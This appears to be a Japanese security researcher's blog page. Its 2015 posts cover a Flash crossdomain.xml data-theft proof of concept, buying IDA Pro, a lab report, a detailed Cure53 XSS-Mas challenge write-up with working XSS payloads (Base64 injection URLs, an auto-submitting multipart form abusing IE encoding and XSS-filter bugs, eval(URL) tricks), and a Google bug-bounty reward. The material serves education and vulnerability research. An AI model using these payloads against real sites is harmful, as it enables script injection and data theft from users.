URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただlocation.hash(#以降)の文字列をURLデコードしてページ内にHTMLを挿入しているだけです。
document.body.innerHTML=unescape(location.hash.substring(1)) 
ページ内に挿入されるHTMLである、#以降の部分をデコードすると以下のようになります。
<embed name="flash" src="http://yui.vulnerabledoma.in/connection/connection.swf" type="application/x-shockwave-flash"></embed>
<textarea id="textarea">
YAHOO={};
YAHOO.util={};
YAHOO.util.Connect={};
YAHOO.util.Connect.handleXdrResponse=function(x){
    if(typeof x.responseText!='undefined'){
        alert(decodeURIComponent(x.responseText));
    }
}
flash.send("http://xdtestapp.vulnerabledoma.in/secret.txt",{method:"GET"},0)
</textarea>
<button onclick=eval(document.getElementById("textarea").value)>go</button>
ここでは、connection.swfembedタグでロードし、JavaScriptの関数、YAHOO.util.Connect.handleXdrResponseを自分の好きな処理をするように書き換えることで、ExternalInterface.call(handler, response);でレスポンスbodyが渡った時に、これをalert()するようにしています。最後に、取得したいURLを引数にセットしてflash.send()を呼び出すことで、alertダイアログにsecret.txtのレスポンスbodyが表示されます。

サイボウズのケースでも、アプリのドメインのcrossdomain.xmlでYUIのファイルが存在する別ドメインをリストしていたため、connection.swf+ XSS のコンボで、アプリのドメインの情報を取り出すことができてしまっていました。

はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。

この問題から言えることは、crossdomain.xmlallow-access-fromにどこかのドメインを書くということは、書いたドメインが信頼できるのは当然のことで、さらに、都合の悪いFlashがないことまで保証できない限り、安全とは言い切れないということです。管理下にないサイトだったらそこまでの検証の仕様がないわけで、管理下にないサイトをここに追加すること自体がかなり危なっかしいことと言えると思います。
このような問題も起こるので、サイト管理者は、一度crossdomain.xmlの設定を見直されることをお勧めします。もはや使っていないけど放置したままというところも多いのではないでしょうか。

2015/04/22

IDA Proを個人で購入する

1つ前の記事でも書いたように、最近は電卓を起動したいと思いながら生きているんですが、その方面の本やWebの資料を読んでいると、高機能ディスアセンブラであるHex-RaysのIDA(https://www.hex-rays.com/index.shtml)を使った話がよくでてきます。IDAには無料版もあって(https://www.hex-rays.com/products/ida/support/download_freeware.shtml)、自分もこれを使っていたんですが、無料版ではできないことにぶつかることがしばしばあって、いい加減もどかしくなってきたので、正式版であるIDA Proを個人で購入しました。

Pro版は個人では購入できないという情報を見聞きしていましたが、このたび購入できたので、どういう手順を踏んだかを、今度のCTF for GIRLSで生まれるであろう電卓起動女子のために書いておきます。


必要なもの

・お金(13万程度)
・VISAかMasterCardのクレジットカード(他の支払い手段もあるみたいだけど)
・メールでやりとりできる程度の英語を読み書きする力
・ちょっと高い買い物をする勇気

僕が踏んだ手順

1. IDA Proを買えるだけのお金をバグを探して稼ぎます。僕が買った時点では$1129で、13万円ちょっとなので、*.google.comの重要でないドメインで1つXSSをみつければ十分です。

2. 以下のHex-Raysの公式サイトへ行き、ユーザ登録、商品の選択、クレジットカード情報の入力をします。代理店を経由しても買えるみたいですが、公式から買った方が安いと親方(@mimura1133)に教えて頂きました。

https://www.hex-rays.com/cgi-bin/quote.cgi

このとき、会社に所属している人は会社のメールアドレスを入力した方がいいと思います。でないと、あとのやりとりで会社のメールアドレスから連絡して、と言われます。会社のメールアドレスを持っていない僕のような人はとりあえず持っているアドレスを入力してみましょう。

3種類のライセンスがありそれぞれの意味は以下のようなかんじです。

http://www.altech-ads.com/Others/IDAPro.htm (代理店のサイトより)
・Named licenses;
特定のユーザに対するライセンスで、そのユーザの所有する複数のPCにて使用可能です。
中小企業やプライベートユーザーにおすすめです。
・Computer licenses;
特定のコンピュータに対するライセンスです。どなたでもそのPCにて使用可能です。
・Floating licenses (network licenses):
一つの組織の無制限のコンピュータにインストールすることできます。

また、Starter版とProfessional版があります。違いは以下のようなかんじです。
・IDA Starter;
x86とARMプロセッサーを含む20プロセッサー・ファミリー以上をサポートします。
IDA Starterは64bitの解析はできません。
・IDA Professional;
50プロセッサー・ファミリー以上をサポートし、64bitファイル(インテルx86-64コードを含む)もサポートします。

僕はWindowsを使って、1人で、64bitも解析したいので、Professional版のNamedライセンスである「IDAPRONW」を選択しました。

購入手続きは「Your cart」のところから行います。メールアドレスとユーザ名を入力し「Update」ボタンを押すと、「Make Payment」ボタンが押せるようになるのでこれを押し、次のページの「Pay online with a credit card (Visa or Mastercard)」を押すことでクレジットカード情報の入力へ進みます。

で、入力します。


3. 入力を終えてしばらくするとHex-Raysからメールが来ます。会社のメールアドレスを入力した人はここでダウンロードのリンクがくるんじゃないかと思いますが、僕は違いました。以下のメールがきました。
Please contact us from your corporate email address (we do not deliver to free/unverified emails). 

おお・・・会社のメールアドレスから連絡しろと。これが個人には売れないというやつですね。

で、僕はどうしたかというと、「私は個人のセキュリティリサーチャーで、会社には所属していなくて、こういうことをやっているんです。Ilfak Guilfanovさん(Hex-Raysのボス)もスピーカーだったセキュリティカンファレンスのCODE BLUEでも発表しました!」みたいなアピールをしました。すると、次のメールでダウンロードのリンクが来ました!

多分、リバースエンジニアリングの技術は悪用にも使えるため、売る相手に慎重になってるんだと思います。僕の場合は、話が通しやすそうだったのでカンファレンスの話をしたけど、要は信用できない人には売れないということだと思うので、私はこういう人でツールを使いたいんですという主張をきちんとできれば、別にCODE BLUEで発表しなくても、会社のアドレスが無くても売ってくれるのではないかと思います。

インストール!井田さんアイコンの登場!



さあ、ここまできたら最後にやることがあります!

4. IDAは脆弱性の発見に対し賞金を懸けている(https://hex-rays.com/bugbounty.shtml)ので、脆弱性を発見し買った分のお金を回収します。


参考になれば幸いです!
最後の手順は僕もまだやっていませんが、昨夜適当にやっていたら、早速EAX=41414141みたいなのがトリガーの怪しいクラッシュは引き出せました!頑張ります!

2015/03/28

第4期サイボウズラボユース成果報告会の発表資料を公開

実は昨年の夏、サイボウズラボユースという制度を利用させていただいて、3週間程度サイボウズラボのオフィスに出社していました。

サイボウズ・ラボ:人材募集:サイボウズ・ラボユース
http://labs.cybozu.co.jp/recruit/youth.html

何をしていたかといいますと、@herumi さんや @takesako さんにご指導頂きながら、アセンブリ言語をずっと読んでいました。

XSSをはじめとするWebアプリケーションの脆弱性はそれなりに知っているつもりですが、バッファオーバーフローをはじめとするメモリ関連のバグは全然理解していませんでした。

これまでも、アプリケーションが偶然クラッシュするたび、そういった方面への関心がでてきて、アセンブリを読めば何かわかるのかなあと思って、読んではみるけど、無慈悲なバイナリの羅列に圧倒されるということを繰り返してきました。

ただ、アラートがとび出すのと電卓がとび出すのはどこか似ており、その辺の何かが僕を刺激するのか、いつか脆弱性を利用して電卓を出したいとずっと思っていました。

ラボユースでは、作業中偶然クラッシュが起きたのをきっかけに、一からアセンブリ言語を勉強してみようということになりました。結局そのクラッシュはおそらく悪用できないなんだかよくわからないものでしたが、ちょっとした疑問にもすぐに答えてもらえる環境で過ごせたことで、大分前進したと思います。

また、その後、別のソフトウェアで偶然悪用可能なクラッシュが起きました。このクラッシュは最初の時点でいかにも悪用できそうなもので、電卓を起動できるかもしれないという思いと、ヤバい友人に実際に電卓の起動ができることを見せてもらったことで、急激に僕の関心が加速しました。
そこからの学習スピードは自分でも驚くほど早いものでした。ついには自分の手で実際のアプリケーションの脆弱性を使って電卓を起動できたことは大きな感動でした。

僕も数々の失敗をしてきましたが、やっぱり人生は偶然のクラッシュに転機があるものなんだなあと思います。(深み)

さて、昨日はそのラボユースの締めということで、成果を発表してきました。以下が資料です。



メモリの状態を観察するのは自分もそれほど慣れていないので、自分の頭の中を整理するようなつもりで動きのあるスライドにしました。また、これで、わからない人にもなんとなく雰囲気がつかめる作りにしたつもりです。

ただその分スライドの枚数が多くなってしまったので発表では焦って最初から大分早口になってしまいました。聴き苦しい発表であったと思いますが、聴いて頂いた皆様、ありがとうございました。

到底人に説明できるほど理解していると思えないので、勘違いしている部分や荒い部分があるかもしれません。それなら、こういう方法でも突破できるんじゃね?みたいなバイナリアンのご意見ご感想お待ちしております。


他の皆様の取組み、発表も素晴らしかったです。
何をやれという訳でもなく、やりたい人の好きなことを支援してくれるサイボウズラボユースという制度は研究支援の理想的な形だと思います。

参加させて頂きありがとうございました。
サイボウズ(報奨金)にもラボにもお世話になりっぱなしです。

2015/02/12

Cure53 XSSMas Challenge '14 Writeup

12月と言えばXSS-Masの季節ということで、最近は、XSS-Mas前から1月の終わりまで開催されていた、賞金付きXSSチャレンジ「Cure53 XSS-Mas Challenge 2014」に挑戦していました。

Cure53 XSS-Mas Challenge 2014
https://cure53.de/xmas2014/

出題者による想定解と全回答者の答え
https://github.com/cure53/xss-challenge-wiki/wiki/XSSMas-Challenge-2014

XSSチャレンジというのは、出題者がわざとわかりにくい形でXSSに脆弱にしたページ(例:特定の記号や文字が使えない、文字数制限がある等)で、指定した条件(alert関数 で「1」の文字をだすとか)をクリアして、スクリプトが実行できることを証明するという、XSSを嗜む人たちの間で楽しまれる一種のパズルゲームです。
実際にXSSで攻撃可能なことを証明しないといけない場面でも、特定の制約がかかることは多く、こういったチャレンジは単なるパズル遊びというだけでなく、攻撃の発想を養ううえでとても有益なものです。

興味があれば、yamagata21さん作の以下のチャレンジあたりからはじめるのがおすすめです。

XSS Challenges (by yamagata21)

このチャレンジは難易度設定が適切で、基本的なXSSから少し変わったものまでカバーしていて、これからXSSの攻撃手法を学んでみたいという人には、とてもいい教材だと思います。はじめて触れた人には、こんな手法もあるのか、という驚きがあるのではないでしょうか。

さて、今回のXSSチャレンジは、XSS方面で著名なMario Heiderichさんのペネトレーションテスト会社、「Cure53」が開催したものでした。

賞金付きというだけあって、非常に難易度が高く、挑戦者も気合いが入っていて、非常にエキサイティングなゲームでした。今年の優勝者はこちらでみられます。日本人と思われる名前ですね…。
ちなみに、昨年も賞金付きで開催されていて、ここで昨年の優勝者を見ることができます。日本人と思われる名前ですね…。

今回のチャレンジはとりわけマニアックなテクニックが必要で、非常に面白かったので、どのように答えに辿りついたかを記事にすることにしました。

まず、僕の最後に提出した答えはこれです。IE11で動作します。(※現在はページ構造が微妙に変わっているので、all[69] の部分を all[71] にしないと動きません。)
https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=name=URL,f.submit(f.action=all[69]+"?charset=iso-2022-jp&<script>\u2028location=name+',alert('+/'\\w+'/.exec(all[6].text)+')'")
制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。(実際に試すときは all[69] を all[71] にしてください。)
http://tinyurl.com/kzlqr33


制限を回避するために一部の文字を使わないようにしたり、XSSフィルターをあえて作動させようとしたり、ブラウザのバグを使ったりしたあと、さらに文字を短縮するために手を加えているので、何をやっているのか意味が分からないと思います。

でも、1つ1つのテクニックを小分けにしてみていけばそんなに難しいことはやっていないです。
それでは書いていきます!

https://cure53.de/xmas2014/

ルールは、「指定された2ページだけを使って隠されたトークンをユーザ操作なしにアラートせよ!短い文字数で達成できた人が勝ち!」といったところです。
まず、どこに文字を入れたらいいかを探すところからクイズになっています。
This page has a vulnerable parameter you may use. Use it wisely.
「it」を使えと言っているので正直に使うと、

https://cure53.de/xmas2014/?it=">abc
<li><b>The challenge ends on 31st of January 2015</b></li>
i�</ul>
ページの下の方に変な文字がでてきました。
何だか入力値が加工されて出力されているっぽいです。Base64に変換しようとしていると仮定してBase64エンコードした文字を入れてみます。

https://cure53.de/xmas2014/?it=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<li><b>The challenge ends on 31st of January 2015</b></li>
<script>alert(1)</script></ul>
Base64だったようです。今回はアラートを出して終わりではなく、別のページにあるtokenをアラートせよというルールなので、別のページを見に行きます。


アクセスすると、以下の、
<script>
    history.pushState('', '', '/token-dispenser-5861d39/');
    // you cannot access the secret token quite yet
</script>
history.pushState()でURLが即座に変なものに置き換わります。
これはひとまずスルーします。ソースの他の部分をみましょう。
<span style="display:none">{{post.charset}}</span>
パラメータのヒント?
レスポンスヘッダをみると、
Content-Type: text/html; charset=charset

"charset"という名前の文字列がcharsetに指定されています。
そんなcharsetは存在しないのでこの指定は適切ではないです。この2点から「charset」というパラメータがありそうなので、つけてみます。

https://heideri.ch/alpudo?charset=utf-8

アクセスしてレスポンスヘッダをみると、
Content-Type: text/html; charset=UТF-8
おお、UTF-8が入りました。いや、でもよくみると何かがおかしいです。アルファベットのティーにみえる「Т」は  U+0422 です。これじゃcharset指定はきいていません。いろいろ入れて試すと、「UTF」「CP」「IBM」という文字があった場合、一部が偽アルファベットに置換されるようになっていました。「UTF-16」とか「UTF-7」とか、ページを簡単に破壊しそうなエンコーディングは使えないようにしている意図を感じます。

charset指定ができるということは、charset固有の符号化規則を使って解決してほしい部分がどこかにあるはずです。charsetはいじれることは覚えておいて、他を見ます。

ページ内の大量の改行の後に以下の文字列を発見できます。
<!--because nobody likes guessing games... the name is дaтотека    -->

「дaтотека」ってなんでしょうか。

https://translate.google.com/#auto/ja/%D0%B4a%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

うまく訳せません。でもこれ、よくみると2番目の「a」と最後の「а」が違う文字です。2番目のただのアルファベットのエー(0x61)を最後の「а」と同じ文字に変えて翻訳にかけてみると、

https://translate.google.com/#auto/ja/%D0%B4%D0%B0%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

「ファイル」ってでました!このページのURLは「https://heideri.ch/alpudo」です。これは多分uploadのアナグラムです。
ファイルをアップロードできるんでしょうか。

https://heideri.ch/alpudo に対して適当にフォームを作って空のテキストファイル(A.txt)をとばしてみます。
<form action=https://heideri.ch/alpudo enctype=multipart/form-data method=post>
<input type=file name=file>
<input type=submit value=upload>
</form>
すると、レスポンスがかわります。

<script>
    history.pushState('', '', '/token-dispenser-cdc1d9/');
    window['tοken'] = '545ae4f986fe9647535ffb6a5ef330c82add451d';
        // This sandbox is UNBREAKABLE! REally!
    (function(Object) {
        function recursiveFreeze(target) {
            var proto = target.__proto__;
            for (var name in target) {
                freeze(target, name);
            }
            var list = Object.getOwnPropertyNames(target);
            for (var i = 0; i < list.length; i++) {
                name = list[i];
                freeze(target, name);
            }
            proto && recursiveFreeze(proto);
         
            function freeze(target, name) {
                var whitelist = '__defineGetter__';
                if (!~whitelist.indexOf(name))try {
                    target.__defineGetter__(name, function() {});
                    Object.defineProperty(target, name, {configurable: false, value: '#'});
                } catch (e) {}
            }
        }
     
        recursiveFreeze(document); // freeze every property on document object
        recursiveFreeze(window); // freeze every property on window object
    })(Object);
    </script>
</head>
<body>
Thanks for the <i>errrm</i> fish!!
<br>
<a href="#" title="A">{{$name}}</a>
<br />
<span title="txt">{{$type}}</span>
<br />

おっ、こっちが指定したファイル名と拡張子(赤字部分)がtitle属性に入ってますね!ここからXSS文字列を挿入するんでしょうか。
また今回アラートせよといっているtoken文字列(青字部分)もでてきました。
そのあとごちゃごちゃjsが書かれてますが、これは自前のサンドボックス処理で、alertなどを簡単に呼び出せないようにしているようです。(試しにコンソールを開いてalertを呼び出そうとしてみるとわかります。)

まずやるのは、普通にファイル名に「"<>」とかを含んだ文字列を投げることですが、やっぱりこれはちゃんと置換されます。先ほど発見した、文字コードの変更と組み合わせてなんとかしてほしそうです。

「"<>」を「0x22」「0x3C」「0x3E」以外のバイト値で表現できる文字コードがあるなら何とかなりそうな気がします。そんな文字コードあるんでしょうか?あるんですよ!
以下に僕が以前調査したASCIIと全く互換性のない文字コードのリストがあります。

http://l0.cm/encodings/test7/

この中で「UTF」「CP」「IBM」という禁止された文字列が含まれていないのは「x-ebcdic-koreanextended」とかですね。IEでアクセスしてみると、ページがめちゃくちゃになります。

https://heideri.ch/alpudo?charset=x-ebcdic-koreanextended

これを使ってもできそうな気もしますが、「x-ebcdic-koreanextended」とか長いし、token部分が別の文字でつぶれてしまうのでtokenが取り出しにくいかんじです。実はIEにはまだ特別な方法があります。
以下はこれまた僕が以前調査した、イレギュラーなバイト列で「"<>」などが表現できるリストです。

http://l0.cm/encodings/test1/

ISO-2022-JPをみてください。「"<>」が変なバイト列で出現します。これは文字コードの仕様としてそうなっているのではなくて、単なるIE側のむちゃくちゃなバグです。今回は、これを使ってやってみます。

ところで、ファイルアップロード相当のリクエストはユーザがファイルを選択するというユーザ操作が絶対に必要でしょうか?今回、ユーザインタラクションなしにしろ( ページを開いてから攻撃までユーザによるクリックやマウス移動などの操作を介在せずにやれということ )という指示があるので、いくらここに文字列を挿入できても、ユーザ操作なしにできないと意味がありません。

実はファイルアップロード相当のリクエストはユーザ操作なしに送信できます。
いくつか方法はありますが、今回はIEのmultipart/form-dataのフォームのバグを使います。

このバグに関しては徳丸さんによる丁寧な解説記事がありますので、そちらを参照してください。

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる | 徳丸浩の日記
http://blog.tokumaru.org/2014/01/ie9html.html

また、その他の方法は他の回答者の解をみてください!

さあ、このISO-2022-JPのバグとフォームのバグを使って最初のページからリクエストを投げ、tokenのあるページでスクリプトを実行することろまでやってみましょう。

<form action="//heideri.ch/alpudo?charset=iso-2022-jp" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bsvg onload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

これをBase64化してIE11でアクセスしてみると…

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

あれ!アラート出ません!これは例の自前のサンドボックス処理があるからです。あの部分が邪魔なので、XSSフィルターにぶち壊してもらいましょう!こういうときに便利だなXSSフィルター!

<form action="//heideri.ch/alpudo?charset=iso-2022-jp&<script>" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bonload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

URLに"<script>"という文字を入れて、XSSフィルターを反応させ、scriptタグ内のサンドボックス化の処理を走らなくさせます。

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAmPHNjcmlwdD4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

やったあ!今度はアラートでましたね!あとは、token部分の文字列を正規表現で切り出してアラートすればミッション達成というわけです!
お疲れ様です!ここまで理解できれば問題はクリアできています。これ以上先は文字を短くする作業になります。

ここからがこのチャレンジの勝負どころではあるのですが、1つ1つ過程をなぞっていくと膨大な解説になってしまうので断念しました。これ以上興味がある人は直前で示した僕の回答を短くしようとしてみてください。そうすれば自然と僕の回答に近づくはずで、なぜそうしたかの理由がわかってくると思います。どうしてもよくわからない部分があれば、個別にきいてもらえれば答えます。また、こうすればもっと短くなる、みたいなのに気付かれた方はぜひ教えてください!

最後に1つだけ、今回も使った、XSSerならおさえておきたい短縮テクニックを紹介して終わりたいと思います。

今回は挿入コードがBase64化されることで、文字数が大幅に増えてしまいます。そこで、全部のコードをBase64の部分に含めるのではなく、evalを実行するコードだけBase64部分に書いておいて、直接URLに書いたJavaScript文字列を走らせるようにします。
このテクニックはGareth Heysさんにより2012年に紹介されています。
詳細はGarethさんのブログを参照してください。

Eval a url
http://www.thespanner.co.uk/2012/05/08/eval-a-url/

このテクニックを使って、以下のようにすれば今回もアラートをだせます。

https://cure53.de/xmas2014/?it=PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg#
alert(1)


出力される部分に文字数制限があるときなどに使えるので、覚えておくといいと思います!


余談として、僕はcure53.deが攻撃者のサイトで、heideri.chがターゲットのサイトと想定して、cure53.de上でtokenをアラートすることがtokenを奪ったことになるとルールを勝手に解釈していました。他の回答者がheideri.chのコンテキストでアラートを出しているのに対し、僕の提出した解はいちいちcure53.deに戻ってからアラートを出しているのはそういうわけです。このtokenを引き渡す部分には特に時間を費やして小さくして、凄くエレガントな解になったと思ったんですが、ルールをよく読めばこんなにここに力を注ぐ必要はなかったのでした…。まあ、ルールにはどこでアラートするかの指示はないのでこれでもいいわけですが、戻るのは明らかに無駄なステップで、このことに気づけばもっと簡単に他の回答者より短い解を示すことができていたので、終わってから気付いて大分ショックでした。

heideri.chでアラートするようにすれば、今回のカウント方法だと265バイト(提出した僕の記録は292なのでマイナス27バイト!)まで短くできます。

https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=URL,f.submit(f.action=all[71]+"?charset=iso-2022-jp&<script>\u2028alert(all[6].text.split(/'/)[9])")

制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。
http://tinyurl.com/lwrj5rj

結果的には、追い抜かれたりしたおかげで、さらに短くする方法を思いついたりして、簡単に1位になるよりは短縮法を追究できたのでよかったです。
大変勉強になりました。参加者の皆さん、ありがとうございました!(日本語で書いてもしょうがないかんじだけど!)


今回紹介したテクニックをまとめます。

・IEのISO-2022-JPの文字コードのバグ
・IEのmultipart/form-dataのフォームのバグ
・XSSフィルターを攻撃に利用するアイデア
・eval(URL)などの短縮テクニック


明日から使えますね!!
来年ももし開催されるならまた挑戦したいです!

2015/01/22

GoogleからMoto 360をもらった

2014年も、Googleの脆弱性報酬制度を通じて脆弱性を報告していました。
Nexus 5Nexus 10Chromebook と毎年何かを頂いていましたが、2014年も上位の報告者だったとして、Googleからスマートウォッチの「Moto 360」を頂きました!




人生初、ウェアラブル端末です!

新しいものには疎くて、ウェアラブル端末の位置づけがわからないんだけど、通知の閲覧やちょっとした操作がスマホを出さずにできる高機能腕時計くらいに思えばいいんでしょうか。まだどう使うのが便利なのかあまり想像できていなくて、ちょっと触ったかんじでは、スマホでやってることの一部を腕でできる程度のものだと感じました。それってそんなに嬉しいことなんだろうか…。今の率直な思いは、「スマホを出せばいいじゃん」です…。
とりあえずは腕時計として使えれば十分便利なので、しばらく腕につけていよう。そのうち便利さに気付かされるかもしれない!

あと、二要素認証のアレと、見難いけどGoogle Vulnerability Rewardsと文字が入った手帳ケースももらいました。





ワーイ!認証のやつはあとで試してみよう。
2015年も報告を続けていきます!Thank you, Google Security Team!